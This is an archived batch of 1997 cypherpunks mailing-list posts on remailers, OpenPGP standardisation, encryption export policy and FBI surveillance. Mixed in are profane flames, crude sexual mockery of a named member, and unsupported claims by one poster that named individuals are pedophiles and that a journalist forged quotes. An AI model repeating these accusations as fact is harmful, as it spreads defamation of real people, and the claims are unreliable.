"Fourteen? Close enough! Count it as fourteen-two."

  Why is it that people who would castigate, slander and lynch a person
who cheats at golf, are so eager to preach 'compromise' with those who
want to cheat at 'the Constitution'?

  "The rules say, 'not closer to the hole' you dipshit! You can't throw
the ball 50 feet toward the green!"
~versus~
  "Sure it *says* "the right to bear arms," but it doesn't really *mean*
that. It really means "the right to bear arms, unless Congress says that
your rifle is a 'gimme'."

  "Yeah, Tiger, just 'kick' that ball in the hole, and we'll give you 
the trophy."

  "We'll just round 'pi' off to 3.0 and...Hey! Where did my circle go?
It's those fucking drug dealing, terrorist pedophiles that took my 
circle, isn't it? We'll declare a 'War on Pi' and Key Escrow their
sorry asses. That'll solve the problem. Of course, we'll have to 
make using the correct value of 'pi' in the commission of a crime
a fucking felony, but we have to think of the children."

Nobody (posting anonymosly)
"Stop making sense, Amelia." ~~David Burn ('em if you got 'em)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Sat, 27 Sep 1997 07:49:26 +0800
To: dave@bureau42.ml.org
Subject: Re: Remailer latencies
In-Reply-To: <Pine.LNX.3.96.970926225502.9945A-100000@bureau42.ml.org>
Message-ID: <342C45FE.1784@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1237586.9628-A7

Since I am generally up all night, under the influence of illegal drugs,
and am an extremely impatient individual--after sending an anonymous 
email at 4 a.m. when all the decent remailer users are in bed, sleeping,
I then send a half-dozen bullshit posts via the same remailer in order
to trigger the remailer into sending the posts out.
Invariably, I find that the post I was so eager to see in print is an
incomprehensible piece of crap that nobody in their right mind would
read, but my 'system' for expiditing my lame posts could conceivably
be used by those who actually have something to say, as well.

And, since you asked, would it not be in the interests of remailer
operators to have a script which would generate random text, encrypt
it to various remailers and send it out as 'cover traffic'?
It would seem to me that this would be particularly valuable for the
remailers that receive the least amount of traffic.

A Player To Be Named Later (posting non-anomymously)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 06:26:18 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <199709262030.WAA26876@basement.replay.com>
Message-ID: <v0300780cb051e06bf6d3@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



The ACLU certainly deserves criticism for its knee-jerk left-wing view on
some issues. I'd also be interested in seeing them take a stand on 2nd
Amendment issues; right now they don't have a position, as I understand it.
But on free speech and SSN-type issues they're generally good.

I forwarded the original "Plea from a parent" message to some folks at the
ACLU who expressed an interest in helping out.

-Declan

PS: Jane Fonda, of all people, just stopped by the bureau for a
correspondent's birthday party! Sure, we had Newt here on Monday, but Fonda
-- there's a //real// celebrity...



At 22:30 +0200 9/26/97, Anonymous wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>John Bishop wrote:
>>Well, seeing how Mr. Treibs is not a Nazi, satan worshipper, or pagan
>>fundamentalist, I doubt that the ACLU will want much to do with him.
>
>This slur is unwarranted.  The ACLU has a long tradition of defending
>religious rights, even those of Christians.
>
>My personal favorite is the case of the Jehovah's Witnesses in the
>1950s.  The Witnesses believe that they cannot honestly pledge
>allegiance to the flag.  They believe that they owe allegiance to God.
>Were the government to act in a way that was other than God's
>intention, they would be unable to cooperate.
>
>This had to go all the way to the Supreme Court and it was the ACLU
>that did it when nobody else would.
>
>Be my guest to criticize the ACLU, but you'd do better to pick one of
>their weak points.
>
>Monty Cantsin
>Editor in Chief
>Smile Magazine
>http://www.neoism.org/squares/smile_index.html
>http://www.neoism.org/squares/cantsin_10.html
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
>iQEVAwUBNCtLP5aWtjSmRH/5AQG45Qf8Doesmpghrdt572xVCXtTCy1K/TY0h75I
>OwJV4hG/NHo/QnUyD2m3qoH0GzAPntCEyDcg8J5BLBJlkYPQXS8yDZu6irHtstIj
>3gLSbL8sXQQ+0SfFPt4iRQPFd8x0erjZE7MH8wxvZGwUQJfHnUtrG8PaOdFWyzpg
>tg9/lBet+GAM18DtQhqYPN1/eJ+bkoW6MBq83ncSVJ2CD90mGQBK7/Ifunn8jLUG
>fZ1CMdanJjjCOhLOEWIGqx6kJXZQhmol3DMrCDYTYXemP3GNoaPeHScZJB5GsiPF
>WFzqzgyakncp+P1EGWqr+2+TG+4LV1cXg9kJOfD3q9z1uz+/n4CRvA==
>=9B3r
>-----END PGP SIGNATURE-----



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 27 Sep 1997 08:33:02 +0800
To: Sandy Sandfort <sandfort@crl.com>
Subject: Welcome back, Sandy!
In-Reply-To: <Pine.SUN.3.91.970926105014.5166B-100000@crl.crl.com>
Message-ID: <342C514D.62F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Sandy Sandfort wrote something really lame, but I'm glad he's back,
anyway:

Sandy,
  I'm glad you're back.
  I've been trying to flame the current list contributors, but they
just don't present such an inviting target as you do--not that they
don't try.

  Since your absence on the list, there have been those who have tried
to support asinine positions, but none of them have had your ability
to do so with the complete clueless lack of recognition of basic logic
that you bring to the task.

  Certainly, there will be those who take my violent, irrational 
animosity toward you as a sign that I secretly lust for your tight,
smooth derriere, but those are mostly people who follow Dimitri's
posts, so what the hell do they know, eh?
  No matter how nonsensical my baseless, arbitrary attacks on your
integrity and character, we will always be able to look back in 
fondness on the night we spent together in Nuevo Laredo. 
(Unless that was my brother...I was really drunk.)

  Regardless, no matter how boring the list has been in your absence,
I have remained a list member solely in order that you would some day
feel comfortable returning to the list, knowing that there would be
at least one list member whose reputation capital was lower than yours.

  Please take your time getting aclimated to the list once again. As
proof of my sincerity in welcoming you back to the CypherPunks list, 
if it appears that your reputation capital is in danger of sinking 
even lower than mine, I will reveal myself as a champion of GAK and
Key Escrow, in order to keep you from having to scrape your knees
on the steps of the tomb of the Unknown Cocksucker.

  Please be assured that my motives for celebrating your return to
the list have nothing to do with the fact that I am in everybody
else's killfiles.
  I change my list persona two or three times a week in order to
circumvent the efforts of other list subscribers to avoid my 
senseless rants.

  I am still, despite efforts to dissuade me from my ghoul, the chief
proponent of strange crypto on the CypherPukes lisp, despite ? the
Platypus's frogulent clams to the cuntrary.

Tojohoto
http:/huh?.eh?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sat, 27 Sep 1997 06:38:03 +0800
To: cypherpunks@Algebra.COM
Subject: OpenPGP approved for standards track by IETF
Message-ID: <199709262223.SAA13677@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




-- forwarded message --
Path: wmich-news!gumby!newspump.wustl.edu!rice!bcm.tmc.edu!news.msfc.nasa.gov!newsfeed.internetmci.com!204.238.120.130!jump.net!grunt.dejanews.com!not-for-mail
Date: Fri, 26 Sep 1997 13:51:52 -0600
From: nospam@synernet.com
Subject: OPEN-PGP" APPROVED FOR STANDARDS TRACK BY IETF
Newsgroups: alt.security.pgp,comp.security.pgp.discuss,alt.security,talk.politics.crypto,alt.privacy,alt.privacy.anon-server
Message-ID: <875299757.20568@dejanews.com>
Reply-To: nospam@synernet.com
Organization: Deja News USENET Posting Service
X-Article-Creation-Date: Fri Sep 26 18:49:17 1997 GMT
X-Originating-IP-Addr: 166.82.194.182 (estone.vnet.net)
X-Http-User-Agent: Mozilla/3.0 (Win95; U)
X-Authenticated-Sender: nospam@synernet.com
Lines: 99
Xref: wmich-news comp.security.pgp.discuss:5111

"OPEN-PGP" APPROVED FOR STANDARDS TRACK BY INTERNET
ENGINEERING TASK FORCE

Working Group formed to pave worldwide protocol for secure communication

SAN MATEO, Calif. (Sept. 25, 1997) -- In a milestone decision for the
standardization of secure electronic communications worldwide, the
Internet Engineering Steering Group today unanimously approved the
formation of an official IETF (Internet Engineering Task Force) Working
Group to develop a secure email specification called "Open-PGP."   The
proposed Open-PGP standard will build on Pretty Good Privacy, Inc.'s (PGP)
encryption technology, which already is used by millions of individuals
around the globe.

To facilitate an international standard and promote growth of the
Internet, as well as related industries worldwide, PGP released
change-control of its technology to the Internet Society (ISOC), and the
Internet Engineering Steering Group (IESG).

"As the IETF Security Area Director, I'm very pleased that PGP Inc.
yielded change control to the standards body," said Dr. Jeff Schiller,
manager of Computer Services at MIT. "MIT has been a proponent of PGP from
the very start -- in 1991, MIT distributed the first non-commercial
version of PGP for free, and since then, has been hosting the public key
(certificate) server for worldwide access," he said.

Phil Dunkelberger, president of PGP, said, "This development is in keeping
with PGP's commitment to protecting security of business and personal
communications, and our founding principal of the universal right to
privacy.  We've never been interested in industry domination at the
expense of the users."

According to Charles Breed, director of security technology, PGP, and
co-chair of the IETF Working Group, "Despite the industry's reputation for
aggressive competition, there was unilateral support when Open-PGP was
first proposed at the Munich IETF meeting a month ago.  More than 150
people representing US companies were present, as well as businesses from
Singapore, Japan, the UK and Europe."

"Open-PGP" will tackle a major obstacle to the growth of the Internet,
plagued at present by policy and technical incompatibilities from country
to country.  The proposed standard is an unencumbered, non-proprietary
specification that will guarantee interoperability of encrypted and
digitally signed messages, and provide strong encryption and
non-repudiation with  digital signatures. Open-PGP will be developed by a
consortium of experts, using technology that has provided privacy to
Internet email and electronic files since 1991 in products from more than
80 manufacturers worldwide. The Open-PGP specification will be available
for peer and public review as it develops.

Alternative proposals that have failed in the past, such as PEM (Privacy
Enhanced Mail), MOSS (MIME object Security Systems) and most recently,
S/MIME (Secure MIME from RSA), depended on complex infrastructures or were
encumbered by legal patents, royalties, and export restrictions forcing
the use of weak encryption practices.

"I expect the Open-PGP specification will progress quickly, because it's
well understood, simple and our mailing list on the topic suggests it has
a great deal of vendor support already.  It has all the elements for a
comprehensive solution: trust models, certificate infrastructure, encoding
rules, securing MIME and the cryptographic algorithms," said Paul Hoffman,
director of the Internet Mail Consortium (IMC), a non-profit organization
that promotes the growth of Internet protocols.

"Open-PGP applications will be easy for corporations and individuals to
use, and will be based on strong, freely available, well-known
cryptographic techniques that are the foundation of PGP's technology,"
said John Noerenberg, senior development manager at Qualcomm's Eudora
Division.
"Eudora is the top-selling Internet mail application and our users are
very pleased with the PGP-based security component."

For more information about Open-PGP or subscribe to the IMC mail list,
visit the IMC worldwide web site at http://www.ietf-open-pgp.imc.org.

About PGP San Mateo-based, Pretty Good Privacy, Inc. (PGP), is the pioneer
and worldwide de facto standard for business security and personal
privacy, with an estimated four million users of its encryption products,
including more than half of the Fortune 100 companies.  PGP is committed
to providing the most advanced security products for the digital age,
safeguarding the communication and storage of information.  For more
information, visit our website at http://www.pgp.com.


Contact: Robin Rootenberg/Monika Madrid
Access Communications
1-800-393-7737 ext. 282/227
rrootenberg@accesspr.com/mmadrid@accesspr.com"


--
----------------------------
Ed Stone
estone@synernet-robin.com
remove "-birdname" spam avoider
----------------------------

-------------------==== Posted via Deja News ====-----------------------
      http://www.dejanews.com/     Search, Read, Post to Usenet
-- end of forwarded message --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jay Holovacs <holovacs@idt.net>
Date: Sat, 27 Sep 1997 06:32:49 +0800
To: David HM Spector <cypherpunks@cyberpass.net
Subject: Re: Chutzpah!  FBI Calls Privacy Extremists Elitist
Message-ID: <1.5.4.32.19970926232407.00673bc0@idt.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:54 PM 9/25/97 -0400, David HM Spector wrote:
>

>The absolute positions "handcuffed" law enforcement while also raising
>rights for citizens to levels that were unreasonable and that would
>have been foreign to the nation's founding fathers. Extreme privacy
>positions were ultimately elitist and nondemocratic in that they
>presumed the views of a knowing privacy cognoscenti should pre-empt
>the views of the nation's elected officials and the Supreme Court,
>McDonald said.

Elected officials? FBI and NSA lifers are about as far as possible from 
accountable elected officials. (And the whole point to elected officials is
that they can be influenced by the constituents)

I was told by a House staffer (a relative) that within the FBI many of
the agents resent Freeh, they feel he is giving away the store (!!!) because
of some policies he supposedly has taken to prevent another JE Hoover (though
I can hardly imagine what). Anyhow this staffer said, he would really worry
about such gung-ho agents having access to private communications.
>
Jay





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 07:32:42 +0800
To: cypherpunks@toad.com
Subject: The Child Molester Prevention and Effective Sentencing Act
Message-ID: <v0300780fb051e6b8720d@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



The problem with all the current bills like original SAFE and ProCODE is
that they're too wimpy, abstract, arcane. Who cares about protecting
business? Nobody, at least not when you'll be dubbed soft on crime. So
what's the one thing everyone cares about and wants to protect?

Yes, that's right: CHILDREN!!!! I think someone should introduce a bill
called "The Child Molester Prevention and Effective Sentencing Act of
1997."

The summary: "To reduce crime, protect our children, and secure our private
communications from child molesters, pedophiles, and various perverts, this
bill would spur the development of privacy-enhancing technologies by
removing all export controls on encryption products."

Who would ever vote against the CMPA? Who wants to be soft on child
molesters and random perverts? Not even Louis Freeh could successfully
oppose this one...

-Declan

(Okay, okay. It's a Friday. Time for me to go home...)


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 10:03:11 +0800
To: "stuey" <cypherpunks@cyberpass.net>
Subject: Re: Technology center
In-Reply-To: <199709270035.RAA01323@geocities.com>
Message-ID: <v03102800b05215adf5a3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:32 PM -0700 9/26/97, stuey wrote:
> >What I think they'll do is work on virus software.  They can write
>>something which will hack the crypto on your PC and make it weak.
>>If they want to wiretap some drug dealer, they get him to download
>>one of their programs somehow.  Maybe they've got a Java bug which
>>lets them hack files when he goes to a certain web page.  Or maybe
>>they get him to download some free demo of a game or interaction
>>service (hotchicks.com).  Whatever, the program actually looks for
>>PGP and other crypto software and hacks it.  Now the FBI can read
>>his stuff.
>
>What we have here is a technology race.  Assuming it is legal for a
>hypothetical government organization to pull a stunt like that, we merely
>build our own encryption software that is compatible with the current stuff,
>or failing that have an unreasonable amount of different publically
>available versions out there.

Well, paranoia can be useful at times, but this is ludicrous.

Will the Evil Virii be able to overwrite CD-ROM bits? (I use a CD-R to
backup my critical files, which a set of it stored elsewhere.)

If viruses are their main means of attack, I'll breathe easy.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 10:13:42 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Now we know why they ban crypto...
In-Reply-To: <v0311070cb05208b72317@[139.167.130.248]>
Message-ID: <v03102801b05217565996@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:50 PM -0700 9/26/97, Robert Hettinga wrote:

>X-Lotus-FromDomain: BIONOMICS@INTERLIANT @ OUTBOUND
>From: "VitaminB"<VitaminB@bionomics.org>
>To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
>Date: Fri, 26 Sep 1997 16:17:40 -0700
>Subject: <<Vitamin B>>(September 26, 1997) Le Brain Drain
>Mime-Version: 1.0
>
>
>
>Vitamin B:
>Your Daily Dose of Bionomics


The problem is calling this "Bionomics."

It's just _economics_, not some cultish fad. Bionomics is just a hypish
name designed to sell books and seminars.

It's as if L. Ron Hubbard read Hayek and announced to Heinlein that he bet
he could found an entire religion around the concept of a free market.

"Vitamin B" indeed!

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 07:47:16 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007804b051bd04a43a@[168.161.105.141]>
Message-ID: <yFVNDe9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> At 11:17 -0400 9/26/97, Dr.Dimitri Vulis KOTM wrote:
> >Declan forged quotes from me in his nutly news piece about Gilmore pulling
> >my plug.
>
> Oh, really? First time I've heard this line from Vulis.

This is a lie.  I pointed out the forgery right after Declan posted his
netly news piece on this mailing list.  You may recall that Declan was
one of the few people openly supportive of Gilmore's censorship - both
in his mailing list traffic and editorializing in his netly news piece.

The only reason why I mentioned Declan's forgery again is because I saw
Declan's lack of accuracy and disregard for the truth being discussed
again, by CDT.  I don't know why he worked up his panties in such a knot.

Declan's been trying to picture himself as a "freedom fighter" of sorts
on this forum. Well, the truth is that he supported Gilmore's censorship
and more recently didn't allow me to read his mailing list, aptly
named "fight-censorship".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 07:41:30 +0800
To: cypherpunks@toad.com
Subject: Re: Chutzpah! FBI Calls Privacy Extremists Elitist
In-Reply-To: <Pine.SUN.3.91.970926105014.5166B-100000@crl.crl.com>
Message-ID: <NqVNDe10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> Folks,
>
> On Fri, 26 Sep 1997, Lucky Green wrote:
>
> > Somebody please tell me that this is a forged quote.... We are now
> > "privacy extremists"? What's next? "Privacy militia"?
>
> I wouldn't expect anything less from a "surveillance extremist."
>
>
>  S a n d y
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


I wouldn't expect anything less from a "C2Net moderation extremist".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 10:45:36 +0800
To: Jim Choate <cypherpunks@Algebra.COM
Subject: Re: Remailer Attack (fwd)
In-Reply-To: <199709270153.UAA13442@einstein.ssz.com>
Message-ID: <v03102802b0521bac5e57@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:53 PM -0700 9/26/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Thu, 25 Sep 1997 16:31:48 -0700
>> From: Tim May <tcmay@got.net>
>> Subject: Re: Remailer Attack
>
>> Generally, a bunch of things would be nice to have:
>>
>
>[several original examples deleted]
>
> -  some sort of legal protection and recognition for the remailer
>    operators

I believe remailers are strongly protected by the Electronic Communcations
Privacy Act, which explicitly says that reconveyors or intermediary parties
may not examine or inspect e-mail.  Anyone expecting that a remailer is
looking at mail flowing through his system for evidence of libel,
espionage, obscenity, threats, etc., must be unaware that the ECPA formally
forbids this, except under limited circumstances (e.g., a business may look
at mail of employees, and prior arrangements/releases can be made. Neither
of these situations require, let alone approve, inspection of mail in
transit).

This line of reasoning has not been used in any defense, perhaps because
there have been no prosecutions of remailers. Whether the courts, including
The Court, will conclude that the ECPA is protection, is of course unknown
to me.

> -  some mechanism for them to operate as a business entity with a
>    clear profit.

And I mentioned this specifically.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 07:59:49 +0800
To: freedom-knights@jetcafe.org
Subject: Re: The Child Molester Prevention and Effective Sentencing Act
In-Reply-To: <v0300780fb051e6b8720d@[168.161.105.141]>
Message-ID: <V0VNDe12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> Yes, that's right: CHILDREN!!!! I think someone should introduce a bill
> called "The Child Molester Prevention and Effective Sentencing Act of
> 1997."
>
> The summary: "To reduce crime, protect our children, and secure our private
> communications from child molesters, pedophiles, and various perverts, this
> bill would spur the development of privacy-enhancing technologies by
> removing all export controls on encryption products."

The worst pedophiles on Internet today are Chris Lewis, a Canadian, and
Nick Sandru, a Romanian living in Denmark.

There's a web site dedicated to listing pedophiles from California -
I think it's http://www.sexoffenders.com.  Can someone please check
if the usual suspects are there?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 08:09:15 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03102806b05190a21a92@[207.167.93.63]>
Message-ID: <1DwNDe13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> At 7:41 AM -0700 9/26/97, Declan McCullagh wrote:
> >[CDT's Jonah Seiger copied this message to my editors. I'm still waiting
> >for him to answer my questions. --Declan]
>
> Let us know what happens. I'd guess that your editors do nothing. Not
> exactly a fireable offense. ...

Declan's been trying to build up a reputation as a freedom of speech
advocate.  Even I was taken in by his deception until Steve Boursy
opened by eyes and told me that Declan is a pro-censorship scumbag.

As for Declan's employers, it's not a freedom of speech issue. He gets
paid to write. If he continues to write lies and to fabricate quotes,
they'll be right to fire him. He's free to continue lying on his own time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Spirito" <berezina@qed.net>
Date: Sat, 27 Sep 1997 07:48:03 +0800
To: "jay holovacs" <declan@well.com>
Subject: Re: Re: How the FBI/NSA forces can further twist SAFE
Message-ID: <19970926233454361.AAA280@antigone>
MIME-Version: 1.0
Content-Type: text/plain



From: jay holovacs <holovacs@idt.net>:

>>
==========================
   >From:    "Paul Spirito" <berezina@qed.net>
   >Date:    Thu, Sep 25, 1997 11:58 PM
   >
   >And next year *is* an election year. If nothing awful happens, it shouldn't be much of an issue, but sooner or later there'll be a big bang made by terrorists who've used crypto in the plotting, & then anyone who opposed the FBI line will get drubbed, perhaps fatally (i.e. they'll lose their seat).

On the other hand a publicized security disaster or "infowar" attack could spin things in the other direction.
<<

Hmm... I assume hackers will attack the GAK infrastructure as soon as its begun. Terrorists or freedom fighters? You make the call.

Paul

ujgdejoxenotejotmbgtang ircpqbgluzstizg






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 27 Sep 1997 10:57:00 +0800
To: David HM Spector <cypherpunks@cyberpass.net
Subject: Re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <199709260354.XAA01881@wintermute.ny.zeitgeist.com>
Message-ID: <v03007800b052223d9201@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 8:54 PM -0700 9/25/97, David HM Spector wrote:
>Extremists presumed that the citizens could not trust the elected
>government and the Supreme Court to make decisions or to correct
>mistakes if any are made, McDonald said.
>
>"Based on a theory of potential government abuse, important tools
>commonly used are to be restricted or embargoed," McDonald said.

It's not just a theory.  It's the history of abuse.  And remember, the taps
were used to get blackmail material on members of congress, control their
votes, and make J. Edgar Hoover director for life.  That's why we can't
trust the elected government.




- -------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQB1AwUBNCxz7NQgMXPCzT+1AQFchgL+OI8NeCB76D7zQj1wl6MXd9DCipvYk1Nc
invpNX743Wex/sWZ1h8E36G1tni01WLFw0y+IwFAip1rr6rMzUayy+0AL/PfQaIg
40ojdJp5V0O1eMApbDQ/lrArB5Kb2E4E
=qK/v
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sat, 27 Sep 1997 11:17:22 +0800
To: cypherpunks@toad.com
Subject: MISTY algorithm
Message-ID: <19970927030020.9849.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anybody want MISTY algorithm ?
If you want it,Please send e-mail to me.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 27 Sep 1997 09:08:55 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: SSZ is back!...
Message-ID: <199709270116.UAA11608@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Just a quick note to say that SSZ is back after a 2 day downtime caused by
the phone company throwning my trunk onto another trunk because of a switch
in central office location (I'm closer to the new one). The only problem was
the ISDN wasn't listed in the to-throw list so that pair got pruned out.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 13:22:36 +0800
To: Pascal Mayani <mayani@ingenia.fr>
Subject: Re: Its working read this, give it a chance
In-Reply-To: <1.5.4.32.19970926095101.0069ca18@100.1.4.25>
Message-ID: <3.0.3.32.19970926202913.006ab488@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:51 AM 09/26/1997 +0200, you wrote:
>Ouais c'est vieux comme le monde le principe: ca s'appelle une pyramide et
>il n'y a que le gars en haut qui se fait un sacre pactole. En plus c'est
>parfaitement illegal.

Bon jour!
You posted this to the cypherpunks mailing list.  We've seen SPAM before,
and this one is not new, except that perhaps you received it en Francais.
However, there are some cypherpunks-relevant issues:
1) Anonymity is easy.  Not only can you be the chief of this pyramid,
you can be some of the accomplices, and even some of the suckers 
generating cash flow to the accomplices so they can demonstrate
how great a system this is.  And nobody knows you're the dog.

2) Economics often determines activities, and the economics of the
margin are as important as the economics of the whole system.
Yes, the system is bad for everybody except the sellers of telephone wire,
but if anyone thinks they can locate suckers fast enough to take in more money
than they spend locating the suckers, and they have low enough ethics, 
some of them will try.  Since there are many people out there with low ethics
and a high estimate of the number of suckers, and since the costs
of communicating to a large number of people on the Internet is very low,
many of them will try, and some will succeed, and all of them will send you
junk mail.

>Hello suckers of *intofild@aol.com*,
>This nice principle of sending money to the last name on a list through
>the INTERNET is the ultimate variation of the pyramidal game...
...
>illegal in most industrial countries...

Illegal doesn't matter, only practical matters.
Lotteries also lose money, except for the people selling tickets,
but the government permits them when the government gets the money.
Pyramid scams are also a form of lottery, where it's easier to affect your
odds of being the winner or loser, depending on the number of suckers you know
and the extent to which you're a sucker yourself.

>					 The chief
>					   / | \
>				     a few accomplices
>					////||||\\\\
>				suckers sending their money

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Sat, 27 Sep 1997 08:35:04 +0800
To: nobody@replay.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <970926202606_-899373567@emout19.mail.aol.com>
MIME-Version: 1.0
